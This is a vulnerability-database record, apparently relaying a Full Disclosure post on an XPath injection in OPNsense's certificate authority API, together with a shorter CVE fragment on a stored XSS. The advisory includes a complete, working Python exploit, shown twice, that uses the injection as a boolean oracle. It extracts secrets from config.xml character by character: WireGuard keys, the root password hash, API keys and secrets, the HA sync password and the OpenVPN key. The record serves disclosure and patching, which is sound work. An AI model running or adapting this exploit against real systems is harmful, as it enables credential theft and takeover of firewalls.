"descriptions": [
{
"lang": "en",
"value": "OPNsense 19.1 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts by submitting crafted input to the category parameter. Attackers can send POST requests to firewall_rules_edit.php with script payloads in the category field to execute arbitrary JavaScript in the browsers of other users accessing firewall rule pages."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 5.1,
"baseSeverity": "MEDIUM",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "PASSIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
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"baseScore": 6.4,
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"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-05T01:26:20.390Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "ExploitDB-46351",
"tags": [
"exploit"
],
"url": "https://www.exploit-db.com/exploits/46351"
},
{
"name": "OPNsense Official Website",
"tags": [
"product"
],
"url": "https://opnsense.org"
},
{
"name": "OPNsense 19.1.1 Release Announcement",
"tags": [
"patch"
],
"url": "https://forum.opnsense.org/index.php?topic=11469.0"
},
{
"name": "VulnCheck Advisory: OPNsense 19.1 Stored XSS via firewall_rules_edit.php",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/opnsense-stored-xss-via-firewallruleseditphp"
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"solutions": [
{
"lang": "en",
"value": "OPNsense 19.1.1 released"
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"x_generator": {
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}
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"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
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"datePublished": "2026-02-15T13:58:55.157Z",
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GCVE-1988-2026-0022
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:35
VLAI
EPSS
VEX
Title
OPNsense XPATH Injection (CVE-2026-53582)
Summary
SUMMARY: a stored XPATH injection allows any user with just ca
manager/certificate manager perms to leak any secret key/any value in
config.xml, thus achieving privilege escalation and potentially remote
code execution. this can also likely be chained via csrf and some
clever hiding. see
https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r
== VULN ==
the primary vulnerable sink is here:
$refcount = count(Config::getInstance()->object()->xpath("//*[text() =
'{$node->refid}']")) - 1;
as we control node->refid, which can be seen in here:
protected function setBaseHook($node)
{
if (empty((string)$node->refid)) {
$node->refid = uniqid();
}
$error = false;
if (!empty((string)$node->prv_payload)) {
/** private key manually offered */
$node->prv = base64_encode((string)$node->prv_payload);
}
we know that if refid is empty it'll be a uniqid - which means its
meant to be alphanumeric. notably, there are no preg_match/regex
matches that check whether or not a user supplied refid isnt
alphanumeric. in this case, we can now test this by hitting this
endpoint:
POST /api/trust/ca/add HTTP/12.1
Content-Type: application/x-www-form-urlencoded
ca[refid]=<payload>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email]=asdf
() example com
to truly exploit this we can write a script that turns the xpath
injection we have into a decent boolean oracle, then slowly leak each
character. for example, an openvpn private key or a root password
hash.
== xp ==
import argparse
import string
import sys
import random
import threading
from concurrent.futures import ThreadPoolExecutor
from queue import Queue
import requests
import urllib3
urllib3.disable_warnings()
# yeah idk dude iiwiw lol
targs = {
"wgppk": "//OPNsense/wireguard/server/servers/server/privkey",
"wgpsk": "//OPNsense/wireguard/client/clients/client/psk",
"hasyncpw": "//hasync/password",
"roothash": "//system/user/password",
"rootkey": "//system/user/apikeys/item/key",
"rootsecret": "//system/user/apikeys/item/secret",
"openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key"
}
cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; "))
# print("".join(cset))
makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__"
total = 0
lock = threading.Lock()
# mega ass
def sesh(a):
s = requests.Session()
s.auth = a
s.verify = False
return s
def prober(s, base, n):
canary = makecanary()
r = s.post(f"{base}/api/trust/ca/add", data={
"ca[refid]": canary, "ca[descr]": f"p{n}",
"ca[action]": "internal", "ca[commonname]": f"p{n}",
}, timeout=30)
return r.json().get("uuid", "n/a"), canary
def inj(s, base, ca_uuid, nx, condition):
global total
payload = f"{nx}' or ({condition}) or 'x'='"
s.post(
f"{base}/api/trust/ca/set/{ca_uuid}",
data={"ca[refid]": payload},
timeout=30,
)
r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30)
with lock:
total += 1
ca = r.json().get("ca", {})
# refcount = int(ca["refcount"])
refcount = int(ca.get("refcount", "0"))
return refcount > 0
def getlen(s, base, ca, nx, xpath):
lo, hi = 0, 300
while lo < hi:
mid = (lo + hi + 1) // 2
if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"):
lo = mid
else:
hi = mid - 1
return lo
def binsrch(s, base, ca, nx, xpath, pos):
cands = cset[:]
while len(cands) > 1:
midpoint = len(cands) // 2
half = "".join(cands[:midpoint])
cond = f"contains('{half}', substring({xpath},{pos},1))"
if inj(s, base, ca, nx, cond):
cands = cands[:midpoint]
else:
cands = cands[midpoint:]
c = cands[0]
if c == "'":
lit = f'"{c}"'
else:
lit = f"'{c}'"
cond = f"substring({xpath},{pos},1)={lit}"
if inj(s, base, ca, nx, cond):
return c
return None
def extract(workers, base, xpath):
s0, ca0, nx0 = workers[0]
length = getlen(s0, base, ca0, nx0, xpath)
if length == 0:
return ""
print(f"+ maybe {length} len")
result = ["?"] * length
wq = Queue()
for w in workers:
wq.put(w)
# start grabbing
def do(pos):
s, ca, nx = wq.get()
try:
return pos, binsrch(s, base, ca, nx, xpath, pos + 1)
finally:
wq.put((s, ca, nx))
with ThreadPoolExecutor(max_workers=len(workers)) as pool:
# for pos, ch in pool.map(doer_func(p), range(length)):
for pos, ch in pool.map(lambda p: do(p), range(length)):
if ch:
result[pos] = ch
sys.stdout.write(ch or "#")
sys.stdout.flush()
print()
return "".join(result)
def main():
global total
print("xray")
target_names = list(targs.keys())
target_list = "\n".join(f"{k}:{v}" for k, v in targs.items())
# i gave it a bs name
parser = argparse.ArgumentParser(
description="x-ray",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="extractables:\n" + target_list,
)
parser.add_argument("targ", help="base url")
parser.add_argument("api_key", help="you need this")
parser.add_argument("api_secret", help="this too")
parser.add_argument("target", nargs="?", default="all",
choices=target_names + ["all"], help="target to extract")
parser.add_argument("-w", "--workers", type=int, default=8,
help="how many workers in parallel")
args = parser.parse_args()
base = args.targ.rstrip("/")
auth = (args.api_key, args.api_secret)
s = sesh(auth)
r = s.get(f"{base}/api/trust/ca/search", timeout=10)
if r.status_code != 200:
print("- bro")
sys.exit(1)
print("+ oh sweet we can access the ca api")
workers = []
for i in range(args.workers):
ws = sesh(auth)
uuid, nx = prober(ws, base, i)
if not uuid:
print("creating probe failed (prober)")
sys.exit(1)
workers.append((ws, uuid, nx))
print(f"+ {args.workers} probing\n")
# extract
if args.target == "all":
targets = targs
else:
targets = {args.target: targs[args.target]}
for name, xpath in targets.items():
print(f"+ {name}")
s0, ca0, nx0 = workers[0]
if not inj(s0, base, ca0, nx0, f"boolean({xpath})"):
print("n/a")
continue
val = extract(workers, base, xpath)
print(f"{repr(val)} ({total} reqs)\n")
# finally: # nvm
# cleanup but not really beacuse im lazy
for ws, ca, nx in workers:
ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30)
print(f"+ done {total}")
if __name__ == "__main__":
main()
== PATCH/MITIG ==
update to 26.1.10. alternatively, add a preg_match guard and an input
mask to Ca.xml by hand (if youre about that life)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jul/18 | technical-description |
| https://github.com/opnsense/core/security/advisor… | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Opnsense | XPATH Injection |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "XPATH Injection",
"vendor": "Opnsense",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "evan"
}
],
"descriptions": [
{
"lang": "en",
"value": "SUMMARY: a stored XPATH injection allows any user with just ca\nmanager/certificate manager perms to leak any secret key/any value in\nconfig.xml, thus achieving privilege escalation and potentially remote\ncode execution. this can also likely be chained via csrf and some\nclever hiding. see\nhttps://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r\n\n\n== VULN ==\nthe primary vulnerable sink is here:\n\n$refcount = count(Config::getInstance()-\u003eobject()-\u003expath(\"//*[text() =\n\u0027{$node-\u003erefid}\u0027]\")) - 1;\n\nas we control node-\u003erefid, which can be seen in here:\n\n protected function setBaseHook($node)\n {\n if (empty((string)$node-\u003erefid)) {\n $node-\u003erefid = uniqid();\n }\n $error = false;\n if (!empty((string)$node-\u003eprv_payload)) {\n /** private key manually offered */\n $node-\u003eprv = base64_encode((string)$node-\u003eprv_payload);\n }\n\nwe know that if refid is empty it\u0027ll be a uniqid - which means its\nmeant to be alphanumeric. notably, there are no preg_match/regex\nmatches that check whether or not a user supplied refid isnt\nalphanumeric. in this case, we can now test this by hitting this\nendpoint:\n\nPOST /api/trust/ca/add HTTP/12.1\nContent-Type: application/x-www-form-urlencoded\n\nca[refid]=\u003cpayload\u003e\u0026ca[descr]=hi+lol\u0026ca[action]=internal\u0026ca[commonname]=hey\u0026ca[key_type]=2048\u0026ca[digest]=sha256\u0026ca[lifetime]=825\u0026ca[country]=NL\u0026ca[state]=idk\u0026ca[city]=lo\u0026ca[organization]=x\u0026ca[email]=asdf\n () example com\n\nto truly exploit this we can write a script that turns the xpath\ninjection we have into a decent boolean oracle, then slowly leak each\ncharacter. for example, an openvpn private key or a root password\nhash.\n\n\n== xp ==\n\nimport argparse\nimport string\nimport sys\nimport random\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor\nfrom queue import Queue\nimport requests\nimport urllib3\n\nurllib3.disable_warnings()\n# yeah idk dude iiwiw lol\n\ntargs = {\n \"wgppk\": \"//OPNsense/wireguard/server/servers/server/privkey\",\n \"wgpsk\": \"//OPNsense/wireguard/client/clients/client/psk\",\n \"hasyncpw\": \"//hasync/password\",\n \"roothash\": \"//system/user/password\",\n \"rootkey\": \"//system/user/apikeys/item/key\",\n \"rootsecret\": \"//system/user/apikeys/item/secret\",\n \"openvpnkey\": \"//OPNsense/OpenVPN/Instances/Instance/key\"\n}\n\ncset = sorted(set(string.ascii_letters + string.digits + \"+/=$._-:; \"))\n# print(\"\".join(cset))\n\n\nmakecanary = lambda: f\"__TUNG_{random.randint(100000, 999999)}__\"\n\ntotal = 0\nlock = threading.Lock()\n\n# mega ass\ndef sesh(a):\n s = requests.Session()\n s.auth = a\n s.verify = False\n return s\n\n\ndef prober(s, base, n):\n canary = makecanary()\n r = s.post(f\"{base}/api/trust/ca/add\", data={\n \"ca[refid]\": canary, \"ca[descr]\": f\"p{n}\",\n \"ca[action]\": \"internal\", \"ca[commonname]\": f\"p{n}\",\n }, timeout=30)\n return r.json().get(\"uuid\", \"n/a\"), canary\n\n\ndef inj(s, base, ca_uuid, nx, condition):\n global total\n payload = f\"{nx}\u0027 or ({condition}) or \u0027x\u0027=\u0027\"\n s.post(\n f\"{base}/api/trust/ca/set/{ca_uuid}\",\n data={\"ca[refid]\": payload},\n timeout=30,\n )\n r = s.get(f\"{base}/api/trust/ca/get/{ca_uuid}\", timeout=30)\n with lock:\n total += 1\n ca = r.json().get(\"ca\", {})\n # refcount = int(ca[\"refcount\"])\n refcount = int(ca.get(\"refcount\", \"0\"))\n return refcount \u003e 0\n\n\ndef getlen(s, base, ca, nx, xpath):\n lo, hi = 0, 300\n while lo \u003c hi:\n mid = (lo + hi + 1) // 2\n if inj(s, base, ca, nx, f\"string-length({xpath})\u003e={mid}\"):\n lo = mid\n else:\n hi = mid - 1\n return lo\n\n\ndef binsrch(s, base, ca, nx, xpath, pos):\n cands = cset[:]\n while len(cands) \u003e 1:\n midpoint = len(cands) // 2\n half = \"\".join(cands[:midpoint])\n cond = f\"contains(\u0027{half}\u0027, substring({xpath},{pos},1))\"\n if inj(s, base, ca, nx, cond):\n cands = cands[:midpoint]\n else:\n cands = cands[midpoint:]\n\n c = cands[0]\n if c == \"\u0027\":\n lit = f\u0027\"{c}\"\u0027\n else:\n lit = f\"\u0027{c}\u0027\"\n\n cond = f\"substring({xpath},{pos},1)={lit}\"\n if inj(s, base, ca, nx, cond):\n return c\n return None\n\n\ndef extract(workers, base, xpath):\n s0, ca0, nx0 = workers[0]\n length = getlen(s0, base, ca0, nx0, xpath)\n if length == 0:\n return \"\"\n print(f\"+ maybe {length} len\")\n\n result = [\"?\"] * length\n\n wq = Queue()\n for w in workers:\n wq.put(w)\n # start grabbing\n def do(pos):\n s, ca, nx = wq.get()\n try:\n return pos, binsrch(s, base, ca, nx, xpath, pos + 1)\n finally:\n wq.put((s, ca, nx))\n\n with ThreadPoolExecutor(max_workers=len(workers)) as pool:\n # for pos, ch in pool.map(doer_func(p), range(length)):\n for pos, ch in pool.map(lambda p: do(p), range(length)):\n if ch:\n result[pos] = ch\n sys.stdout.write(ch or \"#\")\n sys.stdout.flush()\n\n print()\n return \"\".join(result)\n\n\ndef main():\n global total\n print(\"xray\")\n target_names = list(targs.keys())\n target_list = \"\\n\".join(f\"{k}:{v}\" for k, v in targs.items())\n # i gave it a bs name\n parser = argparse.ArgumentParser(\n description=\"x-ray\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=\"extractables:\\n\" + target_list,\n )\n parser.add_argument(\"targ\", help=\"base url\")\n parser.add_argument(\"api_key\", help=\"you need this\")\n parser.add_argument(\"api_secret\", help=\"this too\")\n parser.add_argument(\"target\", nargs=\"?\", default=\"all\",\nchoices=target_names + [\"all\"], help=\"target to extract\")\n parser.add_argument(\"-w\", \"--workers\", type=int, default=8,\nhelp=\"how many workers in parallel\")\n args = parser.parse_args()\n\n base = args.targ.rstrip(\"/\")\n auth = (args.api_key, args.api_secret)\n\n\n s = sesh(auth)\n r = s.get(f\"{base}/api/trust/ca/search\", timeout=10)\n if r.status_code != 200:\n print(\"- bro\")\n sys.exit(1)\n print(\"+ oh sweet we can access the ca api\")\n\n\n workers = []\n\n for i in range(args.workers):\n ws = sesh(auth)\n uuid, nx = prober(ws, base, i)\n if not uuid:\n print(\"creating probe failed (prober)\")\n sys.exit(1)\n workers.append((ws, uuid, nx))\n print(f\"+ {args.workers} probing\\n\")\n\n # extract\n if args.target == \"all\":\n targets = targs\n else:\n targets = {args.target: targs[args.target]}\n for name, xpath in targets.items():\n print(f\"+ {name}\")\n s0, ca0, nx0 = workers[0]\n if not inj(s0, base, ca0, nx0, f\"boolean({xpath})\"):\n print(\"n/a\")\n continue\n val = extract(workers, base, xpath)\n print(f\"{repr(val)} ({total} reqs)\\n\")\n # finally: # nvm\n # cleanup but not really beacuse im lazy\n for ws, ca, nx in workers:\n ws.post(f\"{base}/api/trust/ca/set/{ca}\", data={\"ca[refid]\": nx}, timeout=30)\n print(f\"+ done {total}\")\n\n\nif __name__ == \"__main__\":\n main()\n\n\n== PATCH/MITIG ==\n\nupdate to 26.1.10. alternatively, add a preg_match guard and an input\nmask to Ca.xml by hand (if youre about that life)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:35:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
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},
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"tags": [
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"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18"
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],
"url": "https://seclists.org/fulldisclosure/2026/Jul/18"
},
{
"url": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
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],
"discovery": "EXTERNAL"
},
"title": "OPNsense XPATH Injection (CVE-2026-53582)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0022",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18",
"automated": true,
"contentSha256": "f2fd662c60bf7a79731c49d8575d20f4fef0d531037d854d1e62a37da499b1d9",
"evidenceScore": 9,
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"originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/18",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-03T10:56:32Z"
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"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-11T11:35:41Z",
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